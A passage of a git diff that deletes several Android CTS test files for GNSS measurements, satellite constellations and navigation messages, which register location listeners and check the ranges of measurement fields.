-        List<GnssMeasurementsEvent> events = mMeasurementListener.getEvents();
-        int eventCount = events.size();
-        Log.i(TAG, "Number of Gps Event received = " + eventCount);
-
-        softAssert.assertTrue("GnssMeasurementEvent count", "X > 0",
-                String.valueOf(eventCount), eventCount > 0);
-
-        boolean carrierPhaseQualityPrrFound = false;
-        // we received events, so perform a quick sanity check on mandatory fields
-        for (GnssMeasurementsEvent event : events) {
-            // Verify Gps Event mandatory fields are in required ranges
-            assertNotNull("GnssMeasurementEvent cannot be null.", event);
-
-            // TODO(sumitk): To validate the timestamp if we receive GPS clock.
-            long timeInNs = event.getClock().getTimeNanos();
-            TestMeasurementUtil.assertGnssClockFields(event.getClock(), softAssert, timeInNs);
-
-            for (GnssMeasurement measurement : event.getMeasurements()) {
-                TestMeasurementUtil.assertAllGnssMeasurementMandatoryFields(mTestLocationManager,
-                        measurement, softAssert, timeInNs);
-                carrierPhaseQualityPrrFound |=
-                        TestMeasurementUtil.gnssMeasurementHasCarrierPhasePrr(measurement);
-                if (measurement.hasCarrierFrequencyHz()) {
-                    mGnssMeasSvStringIds.add(
-                        TestMeasurementUtil.getUniqueSvStringId(measurement.getConstellationType(),
-                            measurement.getSvid(), measurement.getCarrierFrequencyHz()));
-                } else {
-                    mGnssMeasSvStringIds.add(
-                        TestMeasurementUtil.getUniqueSvStringId(measurement.getConstellationType(),
-                            measurement.getSvid()));
-                }
-            }
-        }
-        TestMeasurementUtil.assertGnssClockHasConsistentFullBiasNanos(softAssert, events);
-
-        softAssert.assertTrue(
-                "GNSS Measurements PRRs with Carrier Phase "
-                        + "level uncertainties.  If failed, retry near window or outdoors?",
-                carrierPhaseQualityPrrFound);
-        Log.i(TAG, "Meas received for:" + mGnssMeasSvStringIds);
-        Log.i(TAG, "Status Received for:" + gnssStatusCallback.getGnssUsedSvStringIds());
-
-        // Logging YEAR_2017 Capability.
-        // Get all SVs marked as USED in GnssStatus. Remove any SV for which measurement
-        // is received. The resulting list should ideally be empty (How can you use a SV
-        // with no measurement). To allow for race condition where the last GNSS Status
-        // has 1 SV with used flag set, but the corresponding measurement has not yet been
-        // received, the check is done as <= 1
-        Set<String> svDiff = gnssStatusCallback.getGnssUsedSvStringIds();
-        svDiff.removeAll(mGnssMeasSvStringIds);
-        softAssert.assertOrWarnTrue(/* strict= */ YEAR_2017_CAPABILITY_ENFORCED,
-                "Used Svs with no Meas: " + (svDiff.isEmpty() ? "None" : svDiff),
-                svDiff.size() <= 1);
-
-        softAssert.assertAll();
-    }
-}
diff --git a/tests/tests/location/src/android/location/cts/GnssMeasurementWhenNoLocationTest.java b/tests/tests/location/src/android/location/cts/GnssMeasurementWhenNoLocationTest.java
deleted file mode 100644
index 41a552f..0000000
--- a/tests/tests/location/src/android/location/cts/GnssMeasurementWhenNoLocationTest.java
+++ /dev/null
@@ -1,211 +0,0 @@
-/*
- * Copyright (C) 2015 Google Inc.
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.location.cts;
-
-import android.location.GnssStatus;
-import android.location.GnssMeasurement;
-import android.location.GnssMeasurementsEvent;
-import android.platform.test.annotations.AppModeFull;
-import android.util.Log;
-
-import java.util.Arrays;
-import java.util.Collection;
-import java.util.List;
-
-/**
- * Test for {@link GnssMeasurement} without a location fix.
- *
- * Test steps:
- * 1. Clear A-GPS: this ensures that the device is not in a warm mode and it has 4+ satellites
- *    acquired already.
- * 2. Register a listener for:
- *      - {@link GnssMeasurementsEvent}s,
- *      - location updates and
- *      - {@link GnssStatus} events.
- * 3. Wait for {@link GnssMeasurementsEvent}s to provide {@link EVENTS_COUNT} measurements
- * 4. Ensure that zero locations have been received
- * 5. Check {@link GnssMeasurementsEvent} status: if the status is not
- *    {@link GnssMeasurementsEvent#STATUS_READY}, the test will be skipped because one of the
- *    following reasons:
- *          4.1 the device does not support the feature,
- *          4.2 GPS Locaiton is disabled in the device && the test is CTS non-verifier
- * 6. Check whether the device is deep indoor. This is done by performing the following steps:
- *          4.1 If no {@link GnssStatus} is received this will mean that the device is located
- *              indoor. The test will be skipped if not strict (CTS or pre-2016.)
- * 7. When the device is not indoor, verify that we receive {@link GnssMeasurementsEvent}s before
- *    a GPS location is calculated, and reported by GPS HAL. If {@link GnssMeasurementsEvent}s are
- *    only received after a location update is received:
- *          4.1.1 The test will pass with a warning for the M release.
- *          4.1.2 The test will fail on N with CTS-Verifier & newer (2016+) GPS hardware.
- * 8. If {@link GnssMeasurementsEvent}s are received: verify all mandatory fields, the test will
- *    fail if any of the mandatory fields is not populated or in the expected range.
- */
-public class GnssMeasurementWhenNoLocationTest extends GnssTestCase {
-
-    private static final String TAG = "GnssMeasBeforeLocTest";
-    private TestGnssMeasurementListener mMeasurementListener;
-    private TestLocationListener mLocationListener;
-    private TestGnssStatusCallback mGnssStatusCallback;
-    private static final int EVENTS_COUNT = 2;
-    private static final int LOCATIONS_COUNT = 1;
-
-    // Command to delete cached A-GPS data to get a truer GPS fix.
-    private static final String AGPS_DELETE_COMMAND = "delete_aiding_data";
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-
-        mTestLocationManager = new TestLocationManager(getContext());
-    }
-
-    @Override
-    protected void tearDown() throws Exception {
-        // Unregister listeners
-        if (mLocationListener != null) {
-            mTestLocationManager.removeLocationUpdates(mLocationListener);
-        }
-        if (mMeasurementListener != null) {
-            mTestLocationManager.unregisterGnssMeasurementCallback(mMeasurementListener);
-        }
-        if (mGnssStatusCallback != null) {
-            mTestLocationManager.unregisterGnssStatusCallback(mGnssStatusCallback);
-        }
-        super.tearDown();
-    }
-
-    /**
-     * Test for GPS measurements before a location fix.
-     */
-    @AppModeFull(reason = "Requires use of extra LocationManager commands")
-    public void testGnssMeasurementWhenNoLocation() throws Exception {
-        // Checks if GPS hardware feature is present, skips test (pass) if not,
-        // and hard asserts that Location/GPS (Provider) is turned on if is Cts Verifier.
-        if (!TestMeasurementUtil
-                .canTestRunOnCurrentDevice(mTestLocationManager, isCtsVerifierTest())) {
-            return;
-        }
-
-        // Set the device in airplane mode so that the GPS assistance data cannot be downloaded.
-        // This results in GNSS measurements being reported before a location is reported.
-        // NOTE: Changing global setting airplane_mode_on is not allowed in CtsVerifier application.
-        //       Hence, airplane mode is turned on only when this test is run as a regular CTS test
-        //       and not when it is invoked through CtsVerifier.
-        boolean isAirplaneModeOffBeforeTest = true;
-        if (!isCtsVerifierTest()) {
-            // Record the state of the airplane mode before the test so that we can restore it
-            // after the test.
-            isAirplaneModeOffBeforeTest = !TestUtils.isAirplaneModeOn();
-            if (isAirplaneModeOffBeforeTest) {
-                TestUtils.setAirplaneModeOn(getContext(), true);
-            }
-        }
-
-        try {
-            // Clear A-GPS and skip the test if the operation fails.
-            if (!mTestLocationManager.sendExtraCommand(AGPS_DELETE_COMMAND)) {
-                Log.i(TAG, "A-GPS failed to clear. Skip test.");
-                return;
-            }
-
-            // Register for GPS measurements.
-            mMeasurementListener = new TestGnssMeasurementListener(TAG, EVENTS_COUNT);
-            mTestLocationManager.registerGnssMeasurementCallback(mMeasurementListener);
-
-            // Register for Gps Status updates.
-            mGnssStatusCallback = new TestGnssStatusCallback(TAG, EVENTS_COUNT);
-            mTestLocationManager.registerGnssStatusCallback(mGnssStatusCallback);
-
-            // Register for location updates.
-            mLocationListener = new TestLocationListener(LOCATIONS_COUNT);
-            mTestLocationManager.requestLocationUpdates(mLocationListener);
-
-            mMeasurementListener.awaitStatus();
-            if (!mMeasurementListener.verifyStatus()) {
-                return; // exit peacefully (if not already asserted out inside verifyStatus)
-            }
-
-            // Wait for two measurement events - this is better than waiting for a location
-            // calculation because the test generally completes much faster.
-            mMeasurementListener.await();
-
-            Log.i(TAG, "mLocationListener.isLocationReceived(): "
-                    + mLocationListener.isLocationReceived());
-
-            SoftAssert softAssert = new SoftAssert(TAG);
-            softAssert.assertTrue(
-                    "No Satellites are visible. Device may be indoors.  Retry outdoors?",
-                    mGnssStatusCallback.getGnssStatus() != null);
-
-            List<GnssMeasurementsEvent> events = mMeasurementListener.getEvents();
-            Log.i(TAG, "Number of GPS measurement events received = " + events.size());
-
-            if (events.isEmpty()) {
-                softAssert.assertTrue(
-                        "No measurement events received",
-                        false);
-                return;  // All of the following checks rely on there being measurements
-            }
-
-            // Ensure that after getting a few (at least 2) measurement events, that we still
-            // don't have location (i.e. that we got measurements before location.)  Fail, if
-            // strict, warn, if not.
-            softAssert.assertTrue(
-                    "Location was received before " + events.size() +
-                            " GnssMeasurementEvents with measurements were reported. " +
-                            "Test expects at least " + EVENTS_COUNT +
-                            " GnssMeasurementEvents before a location, given the cold start" +
-                            " start. Ensure no other active GPS apps (so the cold start" +
-                            " command works) and retry?",
-                    !mLocationListener.isLocationReceived());
-
-            // If device has received measurements also verify
-            // that mandatory fields of GnssMeasurement are in expected ranges.
-            GnssMeasurementsEvent firstEvent = events.get(0);
-            Collection<GnssMeasurement> gpsMeasurements = firstEvent.getMeasurements();
-            int satelliteCount = gpsMeasurements.size();
-            int[] gpsPrns = new int[satelliteCount];
-            int i = 0;
-            for (GnssMeasurement measurement : gpsMeasurements) {
-                gpsPrns[i] = measurement.getSvid();
-                ++i;
-            }
-            Log.i(TAG, "First GnssMeasurementsEvent with PRNs=" + Arrays.toString(gpsPrns));
-
-            long timeInNs = firstEvent.getClock().getTimeNanos();
-            softAssert.assertTrue("GPS measurement satellite count check: ",
-                    timeInNs, // event time in ns
-                    "satelliteCount > 0", // expected value
-                    Integer.toString(satelliteCount), // actual value
-                    satelliteCount > 0); // condition
-
-            TestMeasurementUtil.assertGnssClockFields(firstEvent.getClock(), softAssert, timeInNs);
-
-            // Verify mandatory fields of GnssMeasurement
-            for (GnssMeasurement measurement : gpsMeasurements) {
-                TestMeasurementUtil.assertAllGnssMeasurementMandatoryFields(mTestLocationManager,
-                        measurement, softAssert, timeInNs);
-            }
-            softAssert.assertAll();
-        } finally {
-            // Set the airplane mode back to off if it was off before this test.
-            if (!isCtsVerifierTest() && isAirplaneModeOffBeforeTest) {
-                TestUtils.setAirplaneModeOn(getContext(), false);
-            }
-        }
-    }
-}
diff --git a/tests/tests/location/src/android/location/cts/GnssMeasurementsConstellationTest.java b/tests/tests/location/src/android/location/cts/GnssMeasurementsConstellationTest.java
deleted file mode 100644
index 750734a..0000000
--- a/tests/tests/location/src/android/location/cts/GnssMeasurementsConstellationTest.java
+++ /dev/null
@@ -1,147 +0,0 @@
-/*
- * Copyright (C) 2016 Google Inc.
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.location.cts;
-
-import android.location.GnssMeasurement;
-import android.location.GnssMeasurementsEvent;
-import android.location.GnssStatus;
-import android.util.Log;
-
-import java.util.List;
-
-/**
- * Test for {@link GnssMeasurement}s without location registration.
- *
- * Test steps:
- * 1. Register a listener for {@link GnssMeasurementsEvent}s and location updates.
- * 2. Check {@link GnssMeasurementsEvent} status: if the status is not
- *    {@link GnssMeasurementsEvent#STATUS_READY}, the test will be skipped because one of the
- *    following reasons:
- *          2.1 the device does not support the feature,
- *          2.2 GPS is disabled in the device,
- *          // TODO: This is true only for cts, for verifier mode we need to modify
- *                   TestGnssMeasurementListener to fail the test.
- *          2.3 Location is disabled in the device.
- * 3. If no {@link GnssMeasurementsEvent} is received then test is skipped in cts mode and fails in
- *    cts verifier mode.
- * 4. Check if one of the received measurements has constellation other than GPS.
- */
-public class GnssMeasurementsConstellationTest extends GnssTestCase {
-
-    private static final String TAG = "GnssConsTypeTest";
-    private static final int EVENTS_COUNT = 5;
-    private static final int GPS_EVENTS_COUNT = 3;
-    private TestLocationListener mLocationListener;
-    private TestGnssMeasurementListener mMeasurementListener;
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-
-        mTestLocationManager = new TestLocationManager(getContext());
-    }
-
-    @Override
-    protected void tearDown() throws Exception {
-        // Unregister listeners
-        if (mLocationListener != null) {
-            mTestLocationManager.removeLocationUpdates(mLocationListener);
-        }
-        if (mMeasurementListener != null) {
-            mTestLocationManager.unregisterGnssMeasurementCallback(mMeasurementListener);
-        }
-        super.tearDown();
-    }
-
-    /**
-     * Test Gnss multi constellation supported.
-     */
-    public void testGnssMultiConstellationSupported() throws Exception {
-        // Checks if GPS hardware feature is present, skips test (pass) if not,
-        // and hard asserts that Location/GPS (Provider) is turned on if is Cts Verifier.
-        if (!TestMeasurementUtil
-                .canTestRunOnCurrentDevice(mTestLocationManager, isCtsVerifierTest())) {
-            return;
-        }
-
-        // Register for GPS measurements.
-        mMeasurementListener = new TestGnssMeasurementListener(TAG, GPS_EVENTS_COUNT);
-        mTestLocationManager.registerGnssMeasurementCallback(mMeasurementListener);
-
-        // Register for location updates.
-        mLocationListener = new TestLocationListener(EVENTS_COUNT);
-        mTestLocationManager.requestLocationUpdates(mLocationListener);
-
-        mMeasurementListener.await();
-        if (!mMeasurementListener.verifyStatus()) {
-            return;
-        }
-
-        List<GnssMeasurementsEvent> events = mMeasurementListener.getEvents();
-        Log.i(TAG, "Number of GnssMeasurement events received = " + events.size());
-
-        SoftAssert softAssert = new SoftAssert(TAG);
-        softAssert.assertTrue(
-                "Did not receive any GnssMeasurement events.  Retry outdoors?",
-                !events.isEmpty());
-
-        for (GnssMeasurementsEvent event : events) {
-            // Verify Gps Event mandatory fields are in required ranges
-            assertNotNull("GnssMeasurementEvent cannot be null.", event);
-            long timeInNs = event.getClock().getTimeNanos();
-
-            softAssert.assertTrue("time_ns: clock value",
-                    timeInNs,
-                    "X >= 0",
-                    String.valueOf(timeInNs),
-                    timeInNs >= 0L);
-            boolean isExpectedConstellationType = false;
-            int constellationType = 0;
-            for (GnssMeasurement measurement : event.getMeasurements()) {
-                constellationType = measurement.getConstellationType();
-
-                // Checks if constellation type is other than CONSTELLATION_GPS
-                // && CONSTELLATION_UNKNOWN.
-                if (constellationType != GnssStatus.CONSTELLATION_GPS
-                        && constellationType != GnssStatus.CONSTELLATION_UNKNOWN) {
-                    isExpectedConstellationType = true;
-                    break;
-                }
-            }
-
-            // If test is running in CtsVerifier and multi constellation is not supported, then
-            // throw MultiConstellationNotSupportedException which is used to indicate warning.
-            if (isCtsVerifierTest() && !isExpectedConstellationType) {
-                throw new MultiConstellationNotSupportedException(
-                        "\n\n WARNING: Device does not support Multi-constellation. " +
-                                "Device only supports GPS. " +
-                                "This will be mandatory starting from Android-O.\n");
-            }
-
-            // In cts test just log it as warning if multi constellation is not supported
-            softAssert.assertTrueAsWarning(
-                    "Constellation type is other than CONSTELLATION_GPS",
-                    timeInNs,
-                    "ConstellationType != CONSTELLATION_GPS " +
-                            "&& constellationType != GnssStatus.CONSTELLATION_UNKNOWN",
-                    String.valueOf(constellationType),
-                    isExpectedConstellationType);
-
-        }
-        softAssert.assertAll();
-    }
-}
diff --git a/tests/tests/location/src/android/location/cts/GnssMeasurementsEventCallbackTest.java b/tests/tests/location/src/android/location/cts/GnssMeasurementsEventCallbackTest.java
deleted file mode 100644
index b670efb..0000000
--- a/tests/tests/location/src/android/location/cts/GnssMeasurementsEventCallbackTest.java
+++ /dev/null
@@ -1,37 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.location.cts;
-
-import android.location.GnssClock;
-import android.location.GnssMeasurement;
-import android.location.GnssMeasurementsEvent;
-
-public class GnssMeasurementsEventCallbackTest extends GnssTestCase {
-    private static class MockCallback extends GnssMeasurementsEvent.Callback {
-    }
-
-    public void testAllMethodsExist() {
-        GnssMeasurementsEvent.Callback callback = new MockCallback();
-        GnssClock clock = new GnssClock();
-        GnssMeasurement m1 = new GnssMeasurement();
-        GnssMeasurement m2 = new GnssMeasurement();
-        GnssMeasurementsEvent event = new GnssMeasurementsEvent(
-                clock, new GnssMeasurement[] {m1, m2});
-        callback.onGnssMeasurementsReceived(event);
-        callback.onStatusChanged(GnssMeasurementsEvent.Callback.STATUS_READY);
-    }
-}
diff --git a/tests/tests/location/src/android/location/cts/GnssMeasurementsEventTest.java b/tests/tests/location/src/android/location/cts/GnssMeasurementsEventTest.java
deleted file mode 100644
index 06f4e5f..0000000
--- a/tests/tests/location/src/android/location/cts/GnssMeasurementsEventTest.java
+++ /dev/null
@@ -1,60 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.location.cts;
-
-import android.location.GnssClock;
-import android.location.GnssMeasurement;
-import android.location.GnssMeasurementsEvent;
-import android.location.GnssStatus;
-import android.os.Parcel;
-
-import java.util.Collection;
-import java.util.Iterator;
-
-public class GnssMeasurementsEventTest extends GnssTestCase {
-    public void testDescribeContents() {
-        GnssClock clock = new GnssClock();
-        GnssMeasurement m1 = new GnssMeasurement();
-        GnssMeasurement m2 = new GnssMeasurement();
-        GnssMeasurementsEvent event = new GnssMeasurementsEvent(
-                clock, new GnssMeasurement[] {m1, m2});
-        event.describeContents();
-    }
-
-    public void testWriteToParcel() {
-        GnssClock clock = new GnssClock();
-        clock.setLeapSecond(100);
-        GnssMeasurement m1 = new GnssMeasurement();
-        m1.setConstellationType(GnssStatus.CONSTELLATION_GLONASS);
-        GnssMeasurement m2 = new GnssMeasurement();
-        m2.setReceivedSvTimeNanos(43999);
-        GnssMeasurementsEvent event = new GnssMeasurementsEvent(
-                clock, new GnssMeasurement[] {m1, m2});
-        Parcel parcel = Parcel.obtain();
-        event.writeToParcel(parcel, 0);
-        parcel.setDataPosition(0);
-        GnssMeasurementsEvent newEvent = GnssMeasurementsEvent.CREATOR.createFromParcel(parcel);
-        assertEquals(100, newEvent.getClock().getLeapSecond());
-        Collection<GnssMeasurement> measurements = newEvent.getMeasurements();
-        assertEquals(2, measurements.size());
-        Iterator<GnssMeasurement> iterator = measurements.iterator();
-        GnssMeasurement newM1 = iterator.next();
-        assertEquals(GnssStatus.CONSTELLATION_GLONASS, newM1.getConstellationType());
-        GnssMeasurement newM2 = iterator.next();
-        assertEquals(43999, newM2.getReceivedSvTimeNanos());
-    }
-}
diff --git a/tests/tests/location/src/android/location/cts/GnssNavigationMessageCallbackTest.java b/tests/tests/location/src/android/location/cts/GnssNavigationMessageCallbackTest.java
deleted file mode 100644
index 842561d..0000000
--- a/tests/tests/location/src/android/location/cts/GnssNavigationMessageCallbackTest.java
+++ /dev/null
@@ -1,32 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.location.cts;
-
-import android.location.GnssNavigationMessage;
-
-public class GnssNavigationMessageCallbackTest extends GnssTestCase {
-    private static class MockCallback extends GnssNavigationMessage.Callback {
-    }
-
-    public void testAllMethodsExist() {
-        GnssNavigationMessage.Callback callback = new MockCallback();
-        GnssNavigationMessage message = new GnssNavigationMessage();
-        GnssNavigationMessage event = message;
-        callback.onGnssNavigationMessageReceived(event);
-        callback.onStatusChanged(GnssNavigationMessage.Callback.STATUS_READY);
-    }
-}
diff --git a/tests/tests/location/src/android/location/cts/GnssNavigationMessageRegistrationTest.java b/tests/tests/location/src/android/location/cts/GnssNavigationMessageRegistrationTest.java
deleted file mode 100644
index b849c47..0000000
--- a/tests/tests/location/src/android/location/cts/GnssNavigationMessageRegistrationTest.java
+++ /dev/null
@@ -1,140 +0,0 @@
-/*
- * Copyright (C) 2015 Google Inc.
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.location.cts;
-
-import android.location.GnssNavigationMessage;
-import android.util.Log;
-
-import java.util.List;
-
-/**
- * Test the {@link GnssNavigationMessage} without location registration.
- *
- * Test steps:
- * 1. Register for {@link GnssNavigationMessage}s.
- * 2. Wait for {@link #EVENTS_COUNT} events to arrive.
- * 3. Check {@link GnssNavigationMessage} status: if the status is not
- *    {@link GnssNavigationMessage#Callback#STATUS_READY}, the test will be skipped because one of the
- *    following reasons:
- *          3.1 the device does not support the feature,
- *          3.2 GPS is disabled in the device,
- *          3.3 Location is disabled in the device.
- * 4. If at least one {@link GnssNavigationMessage} is received, the test will pass.
- * 5. If no {@link GnssNavigationMessage}s are received, then check whether the device is
- *    deep indoor. This is done by performing the following steps:
- *          2.1 Register for location updates, and {@link GpsStatus} events.
- *          2.2 Wait for {@link TestGpsStatusListener#TIMEOUT_IN_SEC}.
- *          2.3 If no {@link GpsStatus} is received this will mean that the device is located
- *              indoor. Test will be skipped.
- *          2.4 If we receive a {@link GpsStatus}, it mean that {@link GnssNavigationMessage}s
- *              are provided only if the application registers for location updates as well:
- *                  2.4.1 The test will pass with a warning for the M release.
- *                  2.4.2 The test might fail in a future Android release, when this requirement
- *                        becomes mandatory.
- */
-public class GnssNavigationMessageRegistrationTest extends GnssTestCase {
-
-    private static final String TAG = "GpsNavMsgRegTest";
-    private static final int EVENTS_COUNT = 5;
-    private TestGnssNavigationMessageListener mTestGnssNavigationMessageListener;
-    private TestLocationListener mLocationListener;
-    private TestGnssStatusCallback mGnssStatusCallback;
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mTestLocationManager = new TestLocationManager(getContext());
-    }
-
-    @Override
-    protected void tearDown() throws Exception {
-        // Unregister GnssNavigationMessageListener
-        if (mTestGnssNavigationMessageListener != null) {
-            mTestLocationManager
-                    .unregisterGnssNavigationMessageCallback(mTestGnssNavigationMessageListener);
-            mTestGnssNavigationMessageListener = null;
-        }
-        if (mLocationListener != null) {
-            mTestLocationManager.removeLocationUpdates(mLocationListener);
-        }
-        if (mGnssStatusCallback != null) {
-            mTestLocationManager.unregisterGnssStatusCallback(mGnssStatusCallback);
-        }
-        super.tearDown();
-    }
-
-    /**
-     * Tests that one can listen for {@link GnssNavigationMessage}s for collection purposes.
-     * It only performs sanity checks for the Navigation messages received.
-     */
-    public void testGnssNavigationMessageRegistration() throws Exception {
-        // Checks if GPS hardware feature is present, skips test (pass) if not,
-        // and hard asserts that Location/GPS (Provider) is turned on if is Cts Verifier.
-        if (!TestMeasurementUtil
-                .canTestRunOnCurrentDevice(mTestLocationManager, isCtsVerifierTest())) {
-            return;
-        }
-
-        // Register Gps Navigation Message Listener.
-        mTestGnssNavigationMessageListener =
-                new TestGnssNavigationMessageListener(TAG, EVENTS_COUNT);
-        mTestLocationManager.registerGnssNavigationMessageCallback(mTestGnssNavigationMessageListener);
-
-        mTestGnssNavigationMessageListener.await();
-        if (!mTestGnssNavigationMessageListener.verifyState()) {
-            return;
-        }
-
-        List<GnssNavigationMessage> events = mTestGnssNavigationMessageListener.getEvents();
-        if (!events.isEmpty()) {
-            // Verify mandatory GnssNavigationMessage field values.
-            TestMeasurementUtil.verifyGnssNavMessageMandatoryField(mTestLocationManager, events);
-            // Test passes if we get at least 1 GPS Navigation Message event.
-            Log.i(TAG, "Received GPS Navigation Message. Test Pass.");
-            return;
-        }
-
-        // If no {@link GnssNavigationMessage}s are received, then check whether the device is
-        // deep indoor.
-        Log.i(TAG, "Did not receive any GPS Navigation Message. Test if device is deep indoor.");
-
-        // Register for location updates.
-        mLocationListener = new TestLocationListener(EVENTS_COUNT);
-        mTestLocationManager.requestLocationUpdates(mLocationListener);
-
-        // Wait for location updates
-        mLocationListener.await();
-        Log.i(TAG, "Location received = " + mLocationListener.isLocationReceived());
-
-        // Register for Gps Status updates
-        mGnssStatusCallback = new TestGnssStatusCallback(TAG, EVENTS_COUNT);
-        mTestLocationManager.registerGnssStatusCallback(mGnssStatusCallback);
-
-        // Wait for Gps Status updates
-        mGnssStatusCallback.awaitStatus();
-        if (mGnssStatusCallback.getGnssStatus() == null) {
-            // Skip the Test. No Satellites are visible. Device may be Indoor
-            Log.i(TAG, "No Satellites are visible. Device may be Indoor. Skipping Test.");
-            return;
-        }
-
-        SoftAssert.failAsWarning(
-                TAG,
-                "GPS Navigation Messages were not received without registering for location" +
-                        " updates.");
-    }
-}
diff --git a/tests/tests/location/src/android/location/cts/GnssNavigationMessageTest.java b/tests/tests/location/src/android/location/cts/GnssNavigationMessageTest.java
deleted file mode 100644
index e1fb0f8..0000000
--- a/tests/tests/location/src/android/location/cts/GnssNavigationMessageTest.java
+++ /dev/null
@@ -1,160 +0,0 @@
-/*
- * Copyright (C) 2015 Google Inc.
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.location.cts;
-
-import android.location.GnssNavigationMessage;
-import android.os.Parcel;
-
-import java.util.List;
-
-/**
- * Test the {@link GnssNavigationMessage} values.
- *
- * Test steps:
- * 1. Register for {@link GnssNavigationMessage}s.
- * 2. Wait for {@link #EVENTS_COUNT} events to arrive.
- * 3. Check {@link GnssNavigationMessage} status: if the status is not
- *    {@link GnssNavigationMessage.Callback#STATUS_READY}, the test will be skipped because one of
- *    the following reasons:
- *          3.1 the device does not support the feature,
- *          3.2 GPS is disabled in the device,
- *          3.3 Location is disabled in the device.
- * 4. Verify {@link GnssNavigationMessage}s (all mandatory fields), the test will fail if any of the
- *    mandatory fields is not populated or in the expected range.
- */
-public class GnssNavigationMessageTest extends GnssTestCase {
-
-    private static final String TAG = "GpsNavMsgTest";
-    private static final int EVENTS_COUNT = 5;
-    private TestGnssNavigationMessageListener mTestGnssNavigationMessageListener;
-    private TestLocationListener mLocationListener;
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mTestLocationManager = new TestLocationManager(getContext());
-    }
-
-    @Override
-    protected void tearDown() throws Exception {
-        // Unregister listeners
-        if (mLocationListener != null) {
-            mTestLocationManager.removeLocationUpdates(mLocationListener);
-        }
-        // Unregister GnssNavigationMessageListener
-        if (mTestGnssNavigationMessageListener != null) {
-            mTestLocationManager
-                    .unregisterGnssNavigationMessageCallback(mTestGnssNavigationMessageListener);
-            mTestGnssNavigationMessageListener = null;
-        }
-        super.tearDown();
-    }
-
-    /**
-     * Tests that one can listen for {@link GnssNavigationMessage}s for collection purposes.
-     * It only performs sanity checks for the Navigation messages received.
-     * This tests uses actual data retrieved from GPS HAL.
-     */
-    public void testGnssNavigationMessageMandatoryFieldRanges() throws Exception {
-        // Checks if GPS hardware feature is present, skips test (pass) if not,
-        // and hard asserts that Location/GPS (Provider) is turned on if is Cts Verifier.
-        if (!TestMeasurementUtil.canTestRunOnCurrentDevice(mTestLocationManager,
-                isCtsVerifierTest())) {
-            return;
-        }
-
-        mLocationListener = new TestLocationListener(EVENTS_COUNT);
-        mTestLocationManager.requestLocationUpdates(mLocationListener);
-
-        // Register Gps Navigation Message Listener.
-        mTestGnssNavigationMessageListener =
-                new TestGnssNavigationMessageListener(TAG, EVENTS_COUNT);
-        mTestLocationManager
-                .registerGnssNavigationMessageCallback(mTestGnssNavigationMessageListener);
-
-        boolean success = mTestGnssNavigationMessageListener.await();
-
-        if (!mTestGnssNavigationMessageListener.verifyState()) {
-            return;
-        }
-        SoftAssert softAssert = new SoftAssert(TAG);
-        softAssert.assertTrue(
-            "Time elapsed without getting enough navigation messages."
-                + " Possibly, the test has been run deep indoors."
-                + " Consider retrying test outdoors.",
-            success);
-
-        List<GnssNavigationMessage> events = mTestGnssNavigationMessageListener.getEvents();
-
-        // Verify mandatory GnssNavigationMessage field values.
-        TestMeasurementUtil.verifyGnssNavMessageMandatoryField(mTestLocationManager, events);
-        softAssert.assertAll();
-    }
-
